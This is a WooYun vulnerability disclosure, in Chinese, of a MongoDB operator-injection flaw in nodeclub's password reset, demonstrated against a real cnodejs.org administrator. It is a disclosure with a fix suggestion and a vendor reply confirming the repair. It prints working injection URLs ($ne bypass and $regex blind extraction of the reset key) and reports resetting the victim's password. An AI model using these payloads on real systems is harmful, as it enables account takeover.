当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0112230

漏洞标题:nodeclub注入漏洞可重置用户密码 (mongodb盲注,cnodejs.org为例)

相关厂商:cnodejs.org

漏洞作者: 多多关照

提交时间:2015-05-05 20:52

修复时间:2015-08-03 20:58

公开时间:2015-08-03 20:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-05: 细节已通知厂商并且等待厂商处理中
2015-05-05: 厂商已经确认,细节仅向厂商公开
2015-06-29: 细节向核心白帽子及相关领域专家公开
2015-07-09: 细节向普通白帽子公开
2015-07-19: 细节向实习白帽子公开
2015-08-03: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

详细说明:

这个nodeclub(https://github.com/cnodejs/nodeclub/)可能用的人不多,弄着玩一下
从github上下载nodeclub的源码。
\controllers\sign.js

exports.reset_pass = function (req, res, next) {
var key = req.query.key;
var name = req.query.name;
User.getUserByNameAndKey(name, key, function (err, user) {
if (!user) {
res.status(403);
return res.render('notify/notify', {error: '信息有误,密码无法重置。'});
}


可以看到,key和name未经判断进入了 User的 getUserByNameAndKey
\proxy\user.js

exports.getUserByNameAndKey = function (loginname, key, callback) {
User.findOne({loginname: loginname, retrieve_key: key}, callback);
};


为了测试这个问题,首先,我们把目标定为 cnodejs 的管理者之一 alsotang,从他的github上可以知道他的邮箱是 alsotang@gmail.com
然后在
https://cnodejs.org/search_pass
找回密码,

0.png


接着,根据之前的问题,不难简单的构造出以下请求。
https://cnodejs.org/reset_pass?name=alsotang&key[$ne]=111111111
其中,name是目标用户名,让key不等于1111111,
此时会返回一个正常的页面。

3.jpg


如果,我们随便设置一个key,例如:
https://cnodejs.org/reset_pass?name=alsotang&key=111111111
则会返回一个错误的页面:

4.png


如此一来,我们就可以对key参数通过 $regex来进行盲注。
例如:
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^5
返回正常
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^6
返回错误
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^5f
返回正常
....
测试代码:
见“测试代码”部分。
运行程序后,

2.png


跑出的key:

5.png


然后拿着key去重置密码,密码被重置为 wooyun,登录后~~

6.png


漏洞证明:

见:https://cnodejs.org/user/alsotang 个人介绍。

修复方案:

exports.reset_pass = function (req, res, next) {
var key = req.query.key;
var name = req.query.name;
..
<-- 做处理,例如 validator.trim(req.query.key);

版权声明:转载请注明来源 多多关照@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-05-05 20:57

厂商回复:

一年前我与朋友干了这单:http://www.wooyun.org/bugs/wooyun-2010- 。也是 mongodb 的注入,没想到今天自己也被日了。T T
不过能被 @路人甲 黑,真是荣幸啊!

最新状态:

2015-05-05:已经修复啦~

2015-05-05:咦?上面的网址怎么出不来 http://www.wooyun.org/bugs/wooyun-2010-086474